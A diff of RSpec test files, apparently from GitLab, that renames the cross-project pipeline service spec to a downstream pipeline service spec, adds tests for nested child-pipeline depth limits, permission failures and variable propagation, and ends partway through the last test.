--- a/spec/services/ci/cancel_user_pipelines_service_spec.rb
+++ b/spec/services/ci/cancel_user_pipelines_service_spec.rb
@@ -19,5 +19,17 @@ RSpec.describe Ci::CancelUserPipelinesService do
expect(build.reload).to be_canceled
end
end
+
+ context 'when an error ocurrs' do
+ it 'raises a service level error' do
+ service = double(execute: ServiceResponse.error(message: 'Error canceling pipeline'))
+ allow(::Ci::CancelUserPipelinesService).to receive(:new).and_return(service)
+
+ result = subject
+
+ expect(result).to be_a(ServiceResponse)
+ expect(result).to be_error
+ end
+ end
end
end
diff --git a/spec/services/ci/create_cross_project_pipeline_service_spec.rb b/spec/services/ci/create_cross_project_pipeline_service_spec.rb
deleted file mode 100644
index 1aabdb85afd..00000000000
--- a/spec/services/ci/create_cross_project_pipeline_service_spec.rb
+++ /dev/null
@@ -1,545 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::CreateCrossProjectPipelineService, '#execute' do
- let_it_be(:user) { create(:user) }
- let(:upstream_project) { create(:project, :repository) }
- let_it_be(:downstream_project) { create(:project, :repository) }
-
- let!(:upstream_pipeline) do
- create(:ci_pipeline, :running, project: upstream_project)
- end
-
- let(:trigger) do
- {
- trigger: {
- project: downstream_project.full_path,
- branch: 'feature'
- }
- }
- end
-
- let(:bridge) do
- create(:ci_bridge, status: :pending,
- user: user,
- options: trigger,
- pipeline: upstream_pipeline)
- end
-
- let(:service) { described_class.new(upstream_project, user) }
-
- before do
- upstream_project.add_developer(user)
- end
-
- context 'when downstream project has not been found' do
- let(:trigger) do
- { trigger: { project: 'unknown/project' } }
- end
-
- it 'does not create a pipeline' do
- expect { service.execute(bridge) }
- .not_to change { Ci::Pipeline.count }
- end
-
- it 'changes pipeline bridge job status to failed' do
- service.execute(bridge)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason)
- .to eq 'downstream_bridge_project_not_found'
- end
- end
-
- context 'when user can not access downstream project' do
- it 'does not create a new pipeline' do
- expect { service.execute(bridge) }
- .not_to change { Ci::Pipeline.count }
- end
-
- it 'changes status of the bridge build' do
- service.execute(bridge)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason)
- .to eq 'downstream_bridge_project_not_found'
- end
- end
-
- context 'when user does not have access to create pipeline' do
- before do
- downstream_project.add_guest(user)
- end
-
- it 'does not create a new pipeline' do
- expect { service.execute(bridge) }
- .not_to change { Ci::Pipeline.count }
- end
-
- it 'changes status of the bridge build' do
- service.execute(bridge)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq 'insufficient_bridge_permissions'
- end
- end
-
- context 'when user can create pipeline in a downstream project' do
- let(:stub_config) { true }
-
- before do
- downstream_project.add_developer(user)
- stub_ci_pipeline_yaml_file(YAML.dump(rspec: { script: 'rspec' })) if stub_config
- end
-
- it 'creates only one new pipeline' do
- expect { service.execute(bridge) }
- .to change { Ci::Pipeline.count }.by(1)
- end
-
- it 'creates a new pipeline in a downstream project' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq downstream_project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
-
- it 'updates bridge status when downstream pipeline gets processed' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.reload).to be_pending
- expect(bridge.reload).to be_success
- end
-
- context 'when bridge job has already any downstream pipelines' do
- before do
- bridge.sourced_pipelines.create!(
- source_pipeline: bridge.pipeline,
- source_project: bridge.project,
- project: bridge.project,
- pipeline: create(:ci_pipeline, project: bridge.project)
- )
- end
-
- it 'logs an error and exits' do
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .with(
- instance_of(Ci::CreateCrossProjectPipelineService::DuplicateDownstreamPipelineError),
- bridge_id: bridge.id, project_id: bridge.project.id)
- .and_call_original
- expect(Ci::CreatePipelineService).not_to receive(:new)
- expect(service.execute(bridge)).to be_nil
- end
- end
-
- context 'when target ref is not specified' do
- let(:trigger) do
- { trigger: { project: downstream_project.full_path } }
- end
-
- it 'is using default branch name' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.ref).to eq 'master'
- end
- end
-
- context 'when downstream pipeline has yaml configuration error' do
- before do
- stub_ci_pipeline_yaml_file(YAML.dump(job: { invalid: 'yaml' }))
- end
-
- it 'creates only one new pipeline' do
- expect { service.execute(bridge) }
- .to change { Ci::Pipeline.count }.by(1)
- end
-
- it 'creates a new pipeline in a downstream project' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq downstream_project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
-
- it 'updates the bridge status when downstream pipeline gets processed' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.reload).to be_failed
- expect(bridge.reload).to be_failed
- end
- end
-
- context 'when downstream project is the same as the job project' do
- let(:trigger) do
- { trigger: { project: upstream_project.full_path } }
- end
-
- context 'detects a circular dependency' do
- it 'does not create a new pipeline' do
- expect { service.execute(bridge) }
- .not_to change { Ci::Pipeline.count }
- end
-
- it 'changes status of the bridge build' do
- service.execute(bridge)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq 'invalid_bridge_trigger'
- end
- end
-
- context 'when "include" is provided' do
- let(:file_content) do
- YAML.dump(
- rspec: { script: 'rspec' },
- echo: { script: 'echo' })
- end
-
- shared_examples 'creates a child pipeline' do
- it 'creates only one new pipeline' do
- expect { service.execute(bridge) }
- .to change { Ci::Pipeline.count }.by(1)
- end
-
- it 'creates a child pipeline in the same project' do
- pipeline = service.execute(bridge)
- pipeline.reload
-
- expect(pipeline.builds.map(&:name)).to match_array(%w[rspec echo])
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq bridge.project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
-
- it 'updates bridge status when downstream pipeline gets processed' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.reload).to be_pending
- expect(bridge.reload).to be_success
- end
-
- it 'propagates parent pipeline settings to the child pipeline' do
- pipeline = service.execute(bridge)
- pipeline.reload
-
- expect(pipeline.ref).to eq(upstream_pipeline.ref)
- expect(pipeline.sha).to eq(upstream_pipeline.sha)
- expect(pipeline.source_sha).to eq(upstream_pipeline.source_sha)
- expect(pipeline.target_sha).to eq(upstream_pipeline.target_sha)
- expect(pipeline.target_sha).to eq(upstream_pipeline.target_sha)
-
- expect(pipeline.trigger_requests.last).to eq(bridge.trigger_request)
- end
- end
-
- before do
- upstream_project.repository.create_file(
- user, 'child-pipeline.yml', file_content, message: 'message', branch_name: 'master')
-
- upstream_pipeline.update!(sha: upstream_project.commit.id)
- end
-
- let(:stub_config) { false }
-
- let(:trigger) do
- {
- trigger: { include: 'child-pipeline.yml' }
- }
- end
-
- it_behaves_like 'creates a child pipeline'
-
- it 'updates the bridge job to success' do
- expect { service.execute(bridge) }.to change { bridge.status }.to 'success'
- end
-
- context 'when bridge uses "depend" strategy' do
- let(:trigger) do
- {
- trigger: { include: 'child-pipeline.yml', strategy: 'depend' }
- }
- end
-
- it 'does not update the bridge job status' do
- expect { service.execute(bridge) }.not_to change { bridge.status }
- end
- end
-
- context 'when latest sha for the ref changed in the meantime' do
- before do
- upstream_project.repository.create_file(
- user, 'another-change', 'test', message: 'message', branch_name: 'master')
- end
-
- # it does not auto-cancel pipelines from the same family
- it_behaves_like 'creates a child pipeline'
- end
-
- context 'when the parent is a merge request pipeline' do
- let(:merge_request) { create(:merge_request, source_project: bridge.project, target_project: bridge.project) }
- let(:file_content) do
- YAML.dump(
- workflow: { rules: [{ if: '$CI_MERGE_REQUEST_ID' }] },
- rspec: { script: 'rspec' },
- echo: { script: 'echo' })
- end
-
- before do
- bridge.pipeline.update!(source: :merge_request_event, merge_request: merge_request)
- end
-
- it_behaves_like 'creates a child pipeline'
-
- it 'propagates the merge request to the child pipeline' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.merge_request).to eq(merge_request)
- expect(pipeline).to be_merge_request
- end
- end
-
- context 'when upstream pipeline is a child pipeline' do
- let!(:pipeline_source) do
- create(:ci_sources_pipeline,
- source_pipeline: create(:ci_pipeline, project: upstream_pipeline.project),
- pipeline: upstream_pipeline
- )
- end
-
- before do
- upstream_pipeline.update!(source: :parent_pipeline)
- end
-
- it 'does not create a further child pipeline' do
- expect { service.execute(bridge) }
- .not_to change { Ci::Pipeline.count }
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq 'bridge_pipeline_is_child_pipeline'
- end
- end
- end
- end
-
- context 'when downstream pipeline creation errors out' do
- let(:stub_config) { false }
-
- before do
- stub_ci_pipeline_yaml_file(YAML.dump(invalid: { yaml: 'error' }))
- end
-
- it 'creates only one new pipeline' do
- expect { service.execute(bridge) }
- .to change { Ci::Pipeline.count }.by(1)
- end
-
- it 'creates a new pipeline in the downstream project' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq downstream_project
- end
-
- it 'drops the bridge' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.reload).to be_failed
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
- end
- end
-
- context 'when bridge job status update raises state machine errors' do
- let(:stub_config) { false }
-
- before do
- stub_ci_pipeline_yaml_file(YAML.dump(invalid: { yaml: 'error' }))
- bridge.drop!
- end
-
- it 'tracks the exception' do
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .with(
- instance_of(Ci::Bridge::InvalidTransitionError),
- bridge_id: bridge.id,
- downstream_pipeline_id: kind_of(Numeric))
-
- service.execute(bridge)
- end
- end
-
- context 'when bridge job has YAML variables defined' do
- before do
- bridge.yaml_variables = [{ key: 'BRIDGE', value: 'var', public: true }]
- end
-
- it 'passes bridge variables to downstream pipeline' do
- pipeline = service.execute(bridge)
-
- expect(pipeline.variables.first)
- .to have_attributes(key: 'BRIDGE', value: 'var')
- end
- end
-
- context 'when pipeline variables are defined' do
- before do
- upstream_pipeline.variables.create(key: 'PIPELINE_VARIABLE', value: 'my-value')
- end
-
- it 'does not pass pipeline variables directly downstream' do
- pipeline = service.execute(bridge)
-
- pipeline.variables.map(&:key).tap do |variables|
- expect(variables).not_to include 'PIPELINE_VARIABLE'
- end
- end
-
- context 'when using YAML variables interpolation' do
- before do
- bridge.yaml_variables = [{ key: 'BRIDGE', value: '$PIPELINE_VARIABLE-var', public: true }]
- end
-
- it 'makes it possible to pass pipeline variable downstream' do
- pipeline = service.execute(bridge)
-
- pipeline.variables.find_by(key: 'BRIDGE').tap do |variable|
- expect(variable.value).to eq 'my-value-var'
- end
- end
- end
- end
-
- # TODO: Move this context into a feature spec that uses
- # multiple pipeline processing services. Location TBD in:
- # https://gitlab.com/gitlab-org/gitlab/issues/36216
- context 'when configured with bridge job rules' do
- before do
- stub_ci_pipeline_yaml_file(config)
- downstream_project.add_maintainer(upstream_project.owner)
- end
-
- let(:config) do
- <<-EOY
- hello:
- script: echo world
-
- bridge-job:
- rules:
- - if: $CI_COMMIT_REF_NAME == "master"
- trigger:
- project: #{downstream_project.full_path}
- branch: master
- EOY
- end
-
- let(:primary_pipeline) do
- Ci::CreatePipelineService.new(upstream_project, upstream_project.owner, { ref: 'master' })
- .execute(:push, save_on_errors: false)
- end
-
- let(:bridge) { primary_pipeline.processables.find_by(name: 'bridge-job') }
- let(:service) { described_class.new(upstream_project, upstream_project.owner) }
-
- context 'that include the bridge job' do
- it 'creates the downstream pipeline' do
- expect { service.execute(bridge) }
- .to change(downstream_project.ci_pipelines, :count).by(1)
- end
- end
- end
-
- context 'when user does not have access to push protected branch of downstream project' do
- before do
- create(:protected_branch, :maintainers_can_push,
- project: downstream_project, name: 'feature')
- end
-
- it 'changes status of the bridge build' do
- service.execute(bridge)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq 'insufficient_bridge_permissions'
- end
- end
-
- context 'when there is no such branch in downstream project' do
- let(:trigger) do
- {
- trigger: {
- project: downstream_project.full_path,
- branch: 'invalid_branch'
- }
- }
- end
-
- it 'does not create a pipeline and drops the bridge' do
- expect { service.execute(bridge) }.not_to change(downstream_project.ci_pipelines, :count)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
- expect(bridge.options[:downstream_errors]).to eq(['Reference not found'])
- end
- end
-
- context 'when downstream pipeline has a branch rule and does not satisfy' do
- before do
- stub_ci_pipeline_yaml_file(config)
- end
-
- let(:config) do
- <<-EOY
- hello:
- script: echo world
- only:
- - invalid_branch
- EOY
- end
-
- it 'does not create a pipeline and drops the bridge' do
- expect { service.execute(bridge) }.not_to change(downstream_project.ci_pipelines, :count)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
- expect(bridge.options[:downstream_errors]).to eq(['No stages / jobs for this pipeline.'])
- end
- end
-
- context 'when downstream pipeline has invalid YAML' do
- before do
- stub_ci_pipeline_yaml_file(config)
- end
-
- let(:config) do
- <<-EOY
- test:
- stage: testx
- script: echo 1
- EOY
- end
-
- it 'creates the pipeline but drops the bridge' do
- expect { service.execute(bridge) }.to change(downstream_project.ci_pipelines, :count).by(1)
-
- expect(bridge.reload).to be_failed
- expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
- expect(bridge.options[:downstream_errors]).to eq(
- ['test job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post']
- )
- end
- end
- end
-end
diff --git a/spec/services/ci/create_downstream_pipeline_service_spec.rb b/spec/services/ci/create_downstream_pipeline_service_spec.rb
new file mode 100644
index 00000000000..a6ea30e4703
--- /dev/null
+++ b/spec/services/ci/create_downstream_pipeline_service_spec.rb
@@ -0,0 +1,599 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CreateDownstreamPipelineService, '#execute' do
+ let_it_be(:user) { create(:user) }
+ let(:upstream_project) { create(:project, :repository) }
+ let_it_be(:downstream_project) { create(:project, :repository) }
+
+ let!(:upstream_pipeline) do
+ create(:ci_pipeline, :running, project: upstream_project)
+ end
+
+ let(:trigger) do
+ {
+ trigger: {
+ project: downstream_project.full_path,
+ branch: 'feature'
+ }
+ }
+ end
+
+ let(:bridge) do
+ create(:ci_bridge, status: :pending,
+ user: user,
+ options: trigger,
+ pipeline: upstream_pipeline)
+ end
+
+ let(:service) { described_class.new(upstream_project, user) }
+
+ before do
+ upstream_project.add_developer(user)
+ end
+
+ context 'when downstream project has not been found' do
+ let(:trigger) do
+ { trigger: { project: 'unknown/project' } }
+ end
+
+ it 'does not create a pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+ end
+
+ it 'changes pipeline bridge job status to failed' do
+ service.execute(bridge)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason)
+ .to eq 'downstream_bridge_project_not_found'
+ end
+ end
+
+ context 'when user can not access downstream project' do
+ it 'does not create a new pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+ end
+
+ it 'changes status of the bridge build' do
+ service.execute(bridge)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason)
+ .to eq 'downstream_bridge_project_not_found'
+ end
+ end
+
+ context 'when user does not have access to create pipeline' do
+ before do
+ downstream_project.add_guest(user)
+ end
+
+ it 'does not create a new pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+ end
+
+ it 'changes status of the bridge build' do
+ service.execute(bridge)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq 'insufficient_bridge_permissions'
+ end
+ end
+
+ context 'when user can create pipeline in a downstream project' do
+ let(:stub_config) { true }
+
+ before do
+ downstream_project.add_developer(user)
+ stub_ci_pipeline_yaml_file(YAML.dump(rspec: { script: 'rspec' })) if stub_config
+ end
+
+ it 'creates only one new pipeline' do
+ expect { service.execute(bridge) }
+ .to change { Ci::Pipeline.count }.by(1)
+ end
+
+ it 'creates a new pipeline in a downstream project' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.user).to eq bridge.user
+ expect(pipeline.project).to eq downstream_project
+ expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
+ expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
+ expect(pipeline.source_bridge).to eq bridge
+ expect(pipeline.source_bridge).to be_a ::Ci::Bridge
+ end
+
+ it 'updates bridge status when downstream pipeline gets processed' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.reload).to be_pending
+ expect(bridge.reload).to be_success
+ end
+
+ context 'when bridge job has already any downstream pipelines' do
+ before do
+ bridge.sourced_pipelines.create!(
+ source_pipeline: bridge.pipeline,
+ source_project: bridge.project,
+ project: bridge.project,
+ pipeline: create(:ci_pipeline, project: bridge.project)
+ )
+ end
+
+ it 'logs an error and exits' do
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(
+ instance_of(described_class::DuplicateDownstreamPipelineError),
+ bridge_id: bridge.id, project_id: bridge.project.id)
+ .and_call_original
+ expect(Ci::CreatePipelineService).not_to receive(:new)
+ expect(service.execute(bridge)).to be_nil
+ end
+ end
+
+ context 'when target ref is not specified' do
+ let(:trigger) do
+ { trigger: { project: downstream_project.full_path } }
+ end
+
+ it 'is using default branch name' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.ref).to eq 'master'
+ end
+ end
+
+ context 'when downstream pipeline has yaml configuration error' do
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump(job: { invalid: 'yaml' }))
+ end
+
+ it 'creates only one new pipeline' do
+ expect { service.execute(bridge) }
+ .to change { Ci::Pipeline.count }.by(1)
+ end
+
+ it 'creates a new pipeline in a downstream project' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.user).to eq bridge.user
+ expect(pipeline.project).to eq downstream_project
+ expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
+ expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
+ expect(pipeline.source_bridge).to eq bridge
+ expect(pipeline.source_bridge).to be_a ::Ci::Bridge
+ end
+
+ it 'updates the bridge status when downstream pipeline gets processed' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.reload).to be_failed
+ expect(bridge.reload).to be_failed
+ end
+ end
+
+ context 'when downstream project is the same as the upstream project' do
+ let(:trigger) do
+ { trigger: { project: upstream_project.full_path } }
+ end
+
+ context 'detects a circular dependency' do
+ it 'does not create a new pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+ end
+
+ it 'changes status of the bridge build' do
+ service.execute(bridge)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq 'invalid_bridge_trigger'
+ end
+ end
+
+ context 'when "include" is provided' do
+ let(:file_content) do
+ YAML.dump(
+ rspec: { script: 'rspec' },
+ echo: { script: 'echo' })
+ end
+
+ shared_examples 'creates a child pipeline' do
+ it 'creates only one new pipeline' do
+ expect { service.execute(bridge) }
+ .to change { Ci::Pipeline.count }.by(1)
+ end
+
+ it 'creates a child pipeline in the same project' do
+ pipeline = service.execute(bridge)
+ pipeline.reload
+
+ expect(pipeline.builds.map(&:name)).to match_array(%w[rspec echo])
+ expect(pipeline.user).to eq bridge.user
+ expect(pipeline.project).to eq bridge.project
+ expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
+ expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
+ expect(pipeline.source_bridge).to eq bridge
+ expect(pipeline.source_bridge).to be_a ::Ci::Bridge
+ end
+
+ it 'updates bridge status when downstream pipeline gets processed' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.reload).to be_pending
+ expect(bridge.reload).to be_success
+ end
+
+ it 'propagates parent pipeline settings to the child pipeline' do
+ pipeline = service.execute(bridge)
+ pipeline.reload
+
+ expect(pipeline.ref).to eq(upstream_pipeline.ref)
+ expect(pipeline.sha).to eq(upstream_pipeline.sha)
+ expect(pipeline.source_sha).to eq(upstream_pipeline.source_sha)
+ expect(pipeline.target_sha).to eq(upstream_pipeline.target_sha)
+ expect(pipeline.target_sha).to eq(upstream_pipeline.target_sha)
+
+ expect(pipeline.trigger_requests.last).to eq(bridge.trigger_request)
+ end
+ end
+
+ before do
+ upstream_project.repository.create_file(
+ user, 'child-pipeline.yml', file_content, message: 'message', branch_name: 'master')
+
+ upstream_pipeline.update!(sha: upstream_project.commit.id)
+ end
+
+ let(:stub_config) { false }
+
+ let(:trigger) do
+ {
+ trigger: { include: 'child-pipeline.yml' }
+ }
+ end
+
+ it_behaves_like 'creates a child pipeline'
+
+ it 'updates the bridge job to success' do
+ expect { service.execute(bridge) }.to change { bridge.status }.to 'success'
+ end
+
+ context 'when bridge uses "depend" strategy' do
+ let(:trigger) do
+ {
+ trigger: { include: 'child-pipeline.yml', strategy: 'depend' }
+ }
+ end
+
+ it 'does not update the bridge job status' do
+ expect { service.execute(bridge) }.not_to change { bridge.status }
+ end
+ end
+
+ context 'when latest sha for the ref changed in the meantime' do
+ before do
+ upstream_project.repository.create_file(
+ user, 'another-change', 'test', message: 'message', branch_name: 'master')
+ end
+
+ # it does not auto-cancel pipelines from the same family
+ it_behaves_like 'creates a child pipeline'
+ end
+
+ context 'when the parent is a merge request pipeline' do
+ let(:merge_request) { create(:merge_request, source_project: bridge.project, target_project: bridge.project) }
+ let(:file_content) do
+ YAML.dump(
+ workflow: { rules: [{ if: '$CI_MERGE_REQUEST_ID' }] },
+ rspec: { script: 'rspec' },
+ echo: { script: 'echo' })
+ end
+
+ before do
+ bridge.pipeline.update!(source: :merge_request_event, merge_request: merge_request)
+ end
+
+ it_behaves_like 'creates a child pipeline'
+
+ it 'propagates the merge request to the child pipeline' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.merge_request).to eq(merge_request)
+ expect(pipeline).to be_merge_request
+ end
+ end
+
+ context 'when upstream pipeline has a parent pipeline' do
+ before do
+ create(:ci_sources_pipeline,
+ source_pipeline: create(:ci_pipeline, project: upstream_pipeline.project),
+ pipeline: upstream_pipeline
+ )
+ end
+
+ it 'creates the pipeline' do
+ expect { service.execute(bridge) }
+ .to change { Ci::Pipeline.count }.by(1)
+
+ expect(bridge.reload).to be_success
+ end
+
+ context 'when FF ci_child_of_child_pipeline is disabled' do
+ before do
+ stub_feature_flags(ci_child_of_child_pipeline: false)
+ end
+
+ it 'does not create a further child pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq 'bridge_pipeline_is_child_pipeline'
+ end
+ end
+ end
+
+ context 'when upstream pipeline has a parent pipeline, which has a parent pipeline' do
+ before do
+ parent_of_upstream_pipeline = create(:ci_pipeline, project: upstream_pipeline.project)
+
+ create(:ci_sources_pipeline,
+ source_pipeline: create(:ci_pipeline, project: upstream_pipeline.project),
+ pipeline: parent_of_upstream_pipeline
+ )
+
+ create(:ci_sources_pipeline,
+ source_pipeline: parent_of_upstream_pipeline,
+ pipeline: upstream_pipeline
+ )
+ end
+
+ it 'does not create a second descendant pipeline' do
+ expect { service.execute(bridge) }
+ .not_to change { Ci::Pipeline.count }
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq 'reached_max_descendant_pipelines_depth'
+ end
+ end
+
+ context 'when upstream pipeline has two level upstream pipelines from different projects' do
+ before do
+ upstream_of_upstream_of_upstream_pipeline = create(:ci_pipeline)
+ upstream_of_upstream_pipeline = create(:ci_pipeline)
+
+ create(:ci_sources_pipeline,
+ source_pipeline: upstream_of_upstream_of_upstream_pipeline,
+ pipeline: upstream_of_upstream_pipeline
+ )
+
+ create(:ci_sources_pipeline,
+ source_pipeline: upstream_of_upstream_pipeline,
+ pipeline: upstream_pipeline
+ )
+ end
+
+ it 'create the pipeline' do
+ expect { service.execute(bridge) }.to change { Ci::Pipeline.count }.by(1)
+ end
+ end
+ end
+ end
+
+ context 'when downstream pipeline creation errors out' do
+ let(:stub_config) { false }
+
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump(invalid: { yaml: 'error' }))
+ end
+
+ it 'creates only one new pipeline' do
+ expect { service.execute(bridge) }
+ .to change { Ci::Pipeline.count }.by(1)
+ end
+
+ it 'creates a new pipeline in the downstream project' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.user).to eq bridge.user
+ expect(pipeline.project).to eq downstream_project
+ end
+
+ it 'drops the bridge' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.reload).to be_failed
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
+ end
+ end
+
+ context 'when bridge job status update raises state machine errors' do
+ let(:stub_config) { false }
+
+ before do
+ stub_ci_pipeline_yaml_file(YAML.dump(invalid: { yaml: 'error' }))
+ bridge.drop!
+ end
+
+ it 'tracks the exception' do
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_exception)
+ .with(
+ instance_of(Ci::Bridge::InvalidTransitionError),
+ bridge_id: bridge.id,
+ downstream_pipeline_id: kind_of(Numeric))
+
+ service.execute(bridge)
+ end
+ end
+
+ context 'when bridge job has YAML variables defined' do
+ before do
+ bridge.yaml_variables = [{ key: 'BRIDGE', value: 'var', public: true }]
+ end
+
+ it 'passes bridge variables to downstream pipeline' do
+ pipeline = service.execute(bridge)
+
+ expect(pipeline.variables.first)
+ .to have_attributes(key: 'BRIDGE', value: 'var')
+ end
+ end
+
+ context 'when pipeline variables are defined' do
+ before do
+ upstream_pipeline.variables.create!(key: 'PIPELINE_VARIABLE', value: 'my-value')
+ end
+
+ it 'does not pass pipeline variables directly downstream' do
+ pipeline = service.execute(bridge)
+
+ pipeline.variables.map(&:key).tap do |variables|
+ expect(variables).not_to include 'PIPELINE_VARIABLE'
+ end
+ end
+
+ context 'when using YAML variables interpolation' do
+ before do
+ bridge.yaml_variables = [{ key: 'BRIDGE', value: '$PIPELINE_VARIABLE-var', public: true }]
+ end
+
+ it 'makes it possible to pass pipeline variable downstream' do
+ pipeline = service.execute(bridge)
+
+ pipeline.variables.find_by(key: 'BRIDGE').tap do |variable|
+ expect(variable.value).to eq 'my-value-var'
+ end
+ end
+ end
+ end
+
+ # TODO: Move this context into a feature spec that uses
+ # multiple pipeline processing services. Location TBD in:
+ # https://gitlab.com/gitlab-org/gitlab/issues/36216
+ context 'when configured with bridge job rules' do
+ before do
+ stub_ci_pipeline_yaml_file(config)
+ downstream_project.add_maintainer(upstream_project.owner)
+ end
+
+ let(:config) do
+ <<-EOY
+ hello:
+ script: echo world
+
+ bridge-job:
+ rules:
+ - if: $CI_COMMIT_REF_NAME == "master"
+ trigger:
+ project: #{downstream_project.full_path}
+ branch: master
+ EOY
+ end
+
+ let(:primary_pipeline) do
+ Ci::CreatePipelineService.new(upstream_project, upstream_project.owner, { ref: 'master' })
+ .execute(:push, save_on_errors: false)
+ end
+
+ let(:bridge) { primary_pipeline.processables.find_by(name: 'bridge-job') }
+ let(:service) { described_class.new(upstream_project, upstream_project.owner) }
+
+ context 'that include the bridge job' do
+ it 'creates the downstream pipeline' do
+ expect { service.execute(bridge) }
+ .to change(downstream_project.ci_pipelines, :count).by(1)
+ end
+ end
+ end
+
+ context 'when user does not have access to push protected branch of downstream project' do
+ before do
+ create(:protected_branch, :maintainers_can_push,
+ project: downstream_project, name: 'feature')
+ end
+
+ it 'changes status of the bridge build' do
+ service.execute(bridge)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq 'insufficient_bridge_permissions'
+ end
+ end
+
+ context 'when there is no such branch in downstream project' do
+ let(:trigger) do
+ {
+ trigger: {
+ project: downstream_project.full_path,
+ branch: 'invalid_branch'
+ }
+ }
+ end
+
+ it 'does not create a pipeline and drops the bridge' do
+ expect { service.execute(bridge) }.not_to change(downstream_project.ci_pipelines, :count)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
+ expect(bridge.options[:downstream_errors]).to eq(['Reference not found'])
+ end
+ end
+
+ context 'when downstream pipeline has a branch rule and does not satisfy' do
+ before do
+ stub_ci_pipeline_yaml_file(config)
+ end
+
+ let(:config) do
+ <<-EOY
+ hello:
+ script: echo world
+ only:
+ - invalid_branch
+ EOY
+ end
+
+ it 'does not create a pipeline and drops the bridge' do
+ expect { service.execute(bridge) }.not_to change(downstream_project.ci_pipelines, :count)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
+ expect(bridge.options[:downstream_errors]).to eq(['No stages / jobs for this pipeline.'])
+ end
+ end
+
+ context 'when downstream pipeline has invalid YAML' do
+ before do
+ stub_ci_pipeline_yaml_file(config)
+ end
+
+ let(:config) do
+ <<-EOY
+ test:
+ stage: testx
+ script: echo 1
+ EOY
+ end
+
+ it 'creates the pipeline but drops the bridge' do
+ expect { service.execute(bridge) }.to change(downstream_project.ci_pipelines, :count).by(1)
+
+ expect(bridge.reload).to be_failed
+ expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
+ expect(bridge.options[:downstream_errors]).to eq(
